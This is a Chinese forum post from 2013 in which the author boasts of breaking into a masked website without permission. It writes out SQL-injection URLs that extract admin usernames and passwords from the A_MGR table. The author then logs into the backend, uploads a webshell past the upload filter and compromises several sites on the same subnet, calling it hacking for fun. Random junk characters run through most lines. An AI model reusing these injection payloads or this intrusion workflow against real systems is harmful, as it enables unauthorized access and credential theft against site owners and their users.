发现一个注入点5 G) F( h, V& {2 F" y% A. s" f u
http://www.xxx.com /Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389
. ?, ~ t( x: c
V& f/ I( R% y* S2 s习惯性的加’having1=1--
4 A. K1 H4 P' L0 ^5 l
8 C: A, D5 x' `. ~) Q9 N# Mhttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’having 1=1— W( r4 d5 `. H8 y2 @2 u. ^, {
+ m* E: y& i# s; h! W8 k9 \08 o4 M6 h" g# H( `- r! i
% W; H9 ^$ v' L. x' l- b
爆出Diary_A.dl_Title（这时候很激动啊）( R {9 I2 [0 g
- k3 w- C6 L. ^0 j0 H& o
那么继续+ Y; n. S3 a/ Z4 C4 G. M. _. \
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’group by dl_Title having 1=1—2 C D* O6 P# i6 u
" ?2 q1 ~* f# u( W9 p继续，一直爆下去
+ D! }. A1 n3 x( A0 m& N% b! v. {1 p2 m T
爆到几个字段和表段 但是没找到需要的管理用户的字段
* a. G! v# m2 R: N- j) X
( ~9 e, A4 {4 m# q0 o3 c蛋疼了 怎么办 然后去后台登陆页看源码, Q" E, y# G: K/ _6 f/ Y# c
$ |3 }" `( E: i3 M2 E" i8 C0: k- | T( I2 C( d, J, n
% |) W- \. w% {7 MInput name= “ADUID”: m+ c7 ~5 ?3 t! e4 G9 N
Input name= “ADPWD”0 N& e4 }. N: e- X
' O( [8 x, o. G4 X$ ?) \很幸运 找到了字段那就继续
2 P0 E1 p& b# @3 w0 [找到之后开始爆用户
2 P' @! w! v& S2 v. n7 j) ]7 ]http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_UID from A_MGR)>0—6 G$ t/ W! q! i# }+ a) R% j
爆密码
. A& w6 L2 I2 `( R9 v; Fhttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_PWD from A_MGR)>0—
( t+ w/ h& g w测试了下 这个注入点只能爆到文章哪里的表
: }! Q( U: t4 B: y/ ~9 f1 H8 m- e' n
. Y+ y1 N# u5 l8 b头疼 继续 既然只能报道文章哪里的表去后台爆 不过后台字符限制了; @: S8 Z2 k( {& J Z3 p
' D, ]; K6 r/ U! s- x$ ]/ s& l8 n又想到 用户登录哪里也可以的吧就去试试 果然 今天我很幸运吧 爆出来了
! r) x6 p+ m, E# U9 u/ h* T) p0 x" M: w \# ]
4732 e$ j6 ?/ \) P) P. \- ~
+ B8 b# A! b# e$ w" d( h2 j进后台6 p- g) |6 u5 J# c) H
7 ?5 z% L: [4 z8 X# Q' ?
' u( z% o/ _, N* C+ P9 Q发现几个上传点 有的地方不能上传 而且防止恶意代码
% F9 l6 x2 Q% {% W1 ~9 t8 l9 L. |( j. ?! p/ s1 Y$ H! u9 a. p1 ~
没办法 各种百度各种找大牛 找到一只好像可以突破的马
% E- E( d$ \, n# E# ]; O( q& i9 c! e2 k
; i& |+ J$ F. j9 W5 o- C+ m在系统管理那里直接上传 不过没有显示地址
( x- t. H+ t' v6 T+ c
, g# p8 Z4 x" N2 X再上传一次 抓包 搞定OK
7 H, t. H7 V' M- e7 J- i; E" s8 S/ l; e1 }+ Q$ F1 K
" W9 r- i) x. \) u; M# L% @
7 o# b/ _% t7 U2 r! N472& t/ P/ Q! S$ U
, u5 H- `* r5 ?
晚上不行了 去睡觉。。。
8 \$ }6 G+ I4 w第二天刚起床 闲的没事做继续日站吧
A$ i3 a# a" q6 j) ^% g& ?# U" O4 X% F1 i7 t/ R$ H2 j1 v
找个站 就把这个站的旁c扫了下, V9 A9 k y4 `
: [7 |7 Q) i6 [) O1 V H8 f发现c段也有一个购物站 ，然后还和这个站的模板差不多
) A' ~1 a8 M6 G, X, z9 I+ h3 v0 U1 t5 p5 @# z$ ]; \
就找到会员登录口测试' e( `$ [8 u7 W( D* T7 N, ]- I" x
! Z( Q* x8 f0 j$ Q'and (select top 1 MGR_UID from A_MGR)>0—% E- d: C% l/ q& o' Q0 ~& W- _
果断爆到了 这时候我很激动 通杀
) p: t+ ^7 t2 f' p
) z8 z+ `+ G0 Y再次翻c段
4 E; W" y2 u1 W# s' a M( X' ~) w
- `9 S$ z0 G0 _6 Q& U. j/ F3 ~翻出几个站 都成功拿下
" w, j+ Z2 B) C/ a5 I
3 u( O; A: g/ B6 w# n' R) J- Y7 [8 m/ Q; y5 }
4 ~ A* q7 z- r( g! P) Y n1 f) v
修复方案：; V5 M) H0 n% B% r7 u2 Q
他们比我专业 " c" o/ H' b# }3 v7 H& X
^3 P3 w+ N' v; g* F1 a+ ~) C
$ J8 [ ?: n/ c% z. z8 Y) M2 T0 M( j5 N1 @3 p" G" B
|
发表于 2013-4-4 17:40:38
收藏
支持
反对